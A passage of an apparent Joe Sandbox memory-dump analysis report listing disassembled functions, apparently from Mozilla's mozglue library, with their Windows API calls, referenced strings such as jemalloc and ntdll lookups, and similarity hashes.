strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C9BCFAE,?,?,?,6C9831A7), ref: 6C9C05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C9BCFAE,?,?,?,6C9831A7), ref: 6C9C0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9831A7), ref: 6C9C061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9831A7), ref: 6C9C0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9C061B, 6C9C0625
<jemalloc>, xrefs: 6C9C05FA, 6C9C060F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b34c1e536d98a20bd4d1e72ae8a3de474c7ac2e97c67fbe60cbc4f39b7c027fd
Instruction ID: 922e52ae18140dc7be2b37826db94b29d5b1851f111ccc20c0f46e198a2dd5dc
Opcode Fuzzy Hash: b34c1e536d98a20bd4d1e72ae8a3de474c7ac2e97c67fbe60cbc4f39b7c027fd
Instruction Fuzzy Hash: 67E08CE2A0111037F624225ABC86DBB761CDBD61B8F084139FD0D83701EA8AED1B52F6

Function 6C9905F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9c0e57f71d00aeb569ddf10a2d8f42772f8ab8a53d1c73234960107d8cbde5
Instruction ID: c1aed640c5776c155292e2aa686c18c30d284264288151ffd0d9fad11dd50e50
Opcode Fuzzy Hash: ab9c0e57f71d00aeb569ddf10a2d8f42772f8ab8a53d1c73234960107d8cbde5
Instruction Fuzzy Hash: 05A15A70A01705CFDB14CF29C984A9AFBF5BF48314F08866ED45AA7B40E730A959CFA0

Function 6C9E14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9E14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9E14E2
GetCurrentThreadId.KERNEL32 ref: 6C9E1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9E15BA
free.MOZGLUE(?), ref: 6C9E16B4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 30febad248386dfeb1643b636075c691785f0e7e2915616572b1aeb2220ad2aa
Instruction ID: 0f055ab7db7dac013c6d1eec063f351c2f569d8e8c19371e717d754275cc272b
Opcode Fuzzy Hash: 30febad248386dfeb1643b636075c691785f0e7e2915616572b1aeb2220ad2aa
Instruction Fuzzy Hash: C661E375A007409BDB128F24C880BDEB7B5BFAA348F44851CED8A67712DB31E946CB91

Function 6C9D9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9D9FDB
free.MOZGLUE(?,?), ref: 6C9D9FF0
free.MOZGLUE(?,?), ref: 6C9DA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9DA0BE
free.MOZGLUE(?,?), ref: 6C9DA0D5
free.MOZGLUE(?,?), ref: 6C9DA0EB

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: d22bc98de5470ee1aad033fe597d356a10a2698726d9d0a6b99da45e0be27c54
Instruction ID: 5c48285da3e2dd028840f5a0b150a09152d6cced71f0cec18b3b02431aff1332
Opcode Fuzzy Hash: d22bc98de5470ee1aad033fe597d356a10a2698726d9d0a6b99da45e0be27c54
Instruction Fuzzy Hash: DC61D175508B01DFC711CF58C48055AB3F5FF98328F158659E899AB702EB32E996CBC1

Function 6C9DDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9DDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9DD38A,?), ref: 6C9DDC6F
free.MOZGLUE(?,?,?,?,?,6C9DD38A,?), ref: 6C9DDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9DD38A,?), ref: 6C9DDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9DD38A,?), ref: 6C9DDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9DD38A,?), ref: 6C9DDD4A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: eca2c5bf82e8c8743ca3ac72cef392652928aa8c68a1e812b0baaebbb64b05d7
Instruction ID: d6649268b72eaa88a73167deb039774df973da561557f2722ef90e950ef239b2
Opcode Fuzzy Hash: eca2c5bf82e8c8743ca3ac72cef392652928aa8c68a1e812b0baaebbb64b05d7
Instruction Fuzzy Hash: 0C418DB6A00A06DFCB00CFA9D88099AB7F5FF99318B168569D905A7B10D731FC01CFA0

Function 6C9C6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BFA80: GetCurrentThreadId.KERNEL32 ref: 6C9BFA8D
Part of subcall function 6C9BFA80: AcquireSRWLockExclusive.KERNEL32(6CA0F448), ref: 6C9BFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9C6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9C67C8

Part of subcall function 6C9D4290: memcpy.VCRUNTIME140(?,?,6C9E2003,6C9E0AD9,?,6C9E0AD9,00000000,?,6C9E0AD9,?,00000004,?,6C9E1A62,?,6C9E2003,?), ref: 6C9D42C4

Strings

data, xrefs: 6C9C6593

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 6536490d49bad52c4efe8323acb319d10be3e83f2aa7aa00e64219c925c95f70
Instruction ID: b6dee42084351dbfc059dd061d8273e6867e407abc73b5f5007d967c0c732c3d
Opcode Fuzzy Hash: 6536490d49bad52c4efe8323acb319d10be3e83f2aa7aa00e64219c925c95f70
Instruction Fuzzy Hash: FCD19D75B043408BD724CF24C841BAEB7E5AFE5308F14891DE59997B51EB30E94ACB53

Function 6C9DC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9DC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9DC842

Part of subcall function 6C9DCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9FB5EB,00000000), ref: 6C9DCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9DC863
std::_Facet_Register.LIBCPMT ref: 6C9DC875

Part of subcall function 6C9BB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9FB636,?), ref: 6C9BB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9DC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DC8BC

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b004c26dd6b73846f87f68da5aa914691ba0fae14f6498ce715a19615041011b
Instruction ID: 39da29fe249736b4a1becdfb4f124234041ad17d2b3d65f69fff0945baced364
Opcode Fuzzy Hash: b004c26dd6b73846f87f68da5aa914691ba0fae14f6498ce715a19615041011b
Instruction Fuzzy Hash: 55116375B003069FCF04DFA4D9C58AEBB79EF99398B00816DE606A7741DB30A946CB91

Function 6C9BD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C98EB57,?,?,?,?,?,?,?,?,?), ref: 6C9BD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C98EB57,?), ref: 6C9BD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C98EB57,?), ref: 6C9BD673
free.MOZGLUE(?), ref: 6C9BD888

Strings

|Enabled, xrefs: 6C9BD81E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: e0a4730771e9807aa8398d8c9c0f8791a7ada2c2e8d22b32fbee19c03574b4f4
Instruction ID: 6948f4893c723dad03f05258c8bb737a8992f9e8ea13304980558cb4225910af
Opcode Fuzzy Hash: e0a4730771e9807aa8398d8c9c0f8791a7ada2c2e8d22b32fbee19c03574b4f4
Instruction Fuzzy Hash: C3A1F1B1A00305AFDB04CF69C8906EFBBF5AF19318F18805CD899AB745C734E846CBA1

Function 6C9BF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C9BF480

Part of subcall function 6C98F100: LoadLibraryW.KERNEL32(shell32,?,6C9FD020), ref: 6C98F122
Part of subcall function 6C98F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C98F132

CloseHandle.KERNEL32(00000000), ref: 6C9BF555

Part of subcall function 6C9914B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C991248,6C991248,?), ref: 6C9914C9
Part of subcall function 6C9914B0: memcpy.VCRUNTIME140(?,6C991248,00000000,?,6C991248,?), ref: 6C9914EF

Part of subcall function 6C98EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C98EEE3

CreateFileW.KERNEL32 ref: 6C9BF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C9BF523

Strings

\oleacc.dll, xrefs: 6C9BF4CB

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1f301349c078e15b61a8999ed1a6f9b4f690bc76e14d2531215b5d7fdf8e9a93
Instruction ID: 76bab90f20660767ccd2af3bbc20df4f1d9f91f26c0c952d535df8464ada8eac
Opcode Fuzzy Hash: 1f301349c078e15b61a8999ed1a6f9b4f690bc76e14d2531215b5d7fdf8e9a93
Instruction Fuzzy Hash: FB41B334608711AFE720DF68D984AABB7F8AF5531CF104A1CF59193650EB70D989CB92

Function 6C9E74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9E7526
__Init_thread_footer.LIBCMT ref: 6C9E7566
__Init_thread_footer.LIBCMT ref: 6C9E7597

Strings

kernel32.dll, xrefs: 6C9E7557
UnmapViewOfFile2, xrefs: 6C9E7552

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: ba4ba53beda5f01499b4c96676275218cf5f33c03807c8b7e9e687e19d58d739
Instruction ID: 3c465566cc6df37919785437632d28b6a3d6c56df5af923fd9b1af12e1498a66
Opcode Fuzzy Hash: ba4ba53beda5f01499b4c96676275218cf5f33c03807c8b7e9e687e19d58d739
Instruction Fuzzy Hash: 2E21F831700602ABDB19CBA89C14E593376FF6A7ADB00852DE80567F41DB30E843C66B

Function 6C9EA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0F770,-00000001,?,6C9FE330,?,6C9ABDF7), ref: 6C9EA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C9ABDF7), ref: 6C9EA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C9ABDF7), ref: 6C9EA7E4
LeaveCriticalSection.KERNEL32(6CA0F770), ref: 6C9EA80A

Strings

accelerator.dll, xrefs: 6C9EA7BF

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: af31c17a7440fcd98ffa2ba8fe5077a1939c7cf602cd15311619575c04491089
Instruction ID: 7c344ba1ac679f3080a209969fbe65d5a7da0fb509c8426f211069b8eb272b31
Opcode Fuzzy Hash: af31c17a7440fcd98ffa2ba8fe5077a1939c7cf602cd15311619575c04491089
Instruction Fuzzy Hash: 74015A70B003049F9B08CF56D8849127BB8FF9A699704806EE8099B651DBB1D802CBA5

Function 6C98F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C98EE51,?), ref: 6C98F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C98F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C98F0E3
ole32, xrefs: 6C98F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C98F0DC

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: c3b58d7f17b1b2778aeb9e66bb91f524252fc9d5941c3803987b4b18aba783e8
Instruction ID: 708aa44e385a08ea654e916c472d4abacf37db655f2de221fddf96c682436797
Opcode Fuzzy Hash: c3b58d7f17b1b2778aeb9e66bb91f524252fc9d5941c3803987b4b18aba783e8
Instruction Fuzzy Hash: 9CE04870745303DFAF186E667809A7737BC7B262CD714DA3DE502D2E41EB20D4528675

Function 6C9C0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C997204), ref: 6C9C0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9C00A7
FreeLibrary.KERNEL32(?,6C997204), ref: 6C9C00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9C00A1
wintrust.dll, xrefs: 6C9C0083

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 698f8c2052db80c2bef8b65cbbeed9c5fa599199c8cee2d2bda648ae592fe51a
Instruction ID: 1cdbe784934758c1e4e94adfafac765b29f3c820fe308e130d6ba0bf58546cec
Opcode Fuzzy Hash: 698f8c2052db80c2bef8b65cbbeed9c5fa599199c8cee2d2bda648ae592fe51a
Instruction Fuzzy Hash: E4E075B47403069ADB08AB66A94C7917AFCB70B3CDF10C11DA914E2690D774C04BDB16

Function 6C9C00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C997235), ref: 6C9C00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9C00F7
FreeLibrary.KERNEL32(?,6C997235), ref: 6C9C010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9C00F1
wintrust.dll, xrefs: 6C9C00D3

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 5fbb55d3064a4eab32348d551ea9df278a1c4313890107aacc1d327086e52716
Instruction ID: f241b520d31e7c03177c1ed1a9095d5b91aabce82c3e73eb933602230400a726
Opcode Fuzzy Hash: 5fbb55d3064a4eab32348d551ea9df278a1c4313890107aacc1d327086e52716
Instruction Fuzzy Hash: 2DE0E5B03093079BEB089B659A0D7A17AFCB7032CCF58C01DA909A1640DB70C0578B16

Function 6C9EC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9EC0E9), ref: 6C9EC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9EC437
FreeLibrary.KERNEL32(?,6C9EC0E9), ref: 6C9EC44C

Strings

ntdll.dll, xrefs: 6C9EC413
NtQueryVirtualMemory, xrefs: 6C9EC431

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 8c334ceb6f8df1e9ab04167ed97af39c47487a46d5f17ffa8aea74417c9252d5
Instruction ID: 8e71eaa4ef6790d7655de6d9a7213d31e14c6160e3cb5c71191969da691be111
Opcode Fuzzy Hash: 8c334ceb6f8df1e9ab04167ed97af39c47487a46d5f17ffa8aea74417c9252d5
Instruction Fuzzy Hash: 2DE09A707013029BDB096B719E4CB517EF8BB0A6CCF14C21DAA04A1680EB70D0078B54

Function 6C9E75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9E748B,?), ref: 6C9E75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9E75D7
FreeLibrary.KERNEL32(?,6C9E748B,?), ref: 6C9E75EC

Strings

ntdll.dll, xrefs: 6C9E75B3
RtlNtStatusToDosError, xrefs: 6C9E75D1

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 811ec6997cd968afc7e4146c0260af820d25a29ee6acdf4e6d5b0cbf03d11e06
Instruction ID: 296c02ff5dda4669f3ee314da36fde1eea90d478841f5b38040de6f2e7c16e54
Opcode Fuzzy Hash: 811ec6997cd968afc7e4146c0260af820d25a29ee6acdf4e6d5b0cbf03d11e06
Instruction Fuzzy Hash: 3BE07571700303ABEB095BA19D487017AF8EB062DEF10852DAD05B1641DBB0C043CF16

Function 6C9E7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9E7592), ref: 6C9E7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9E7627
FreeLibrary.KERNEL32(?,6C9E7592), ref: 6C9E763C

Strings

ntdll.dll, xrefs: 6C9E7603
NtUnmapViewOfSection, xrefs: 6C9E7621

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

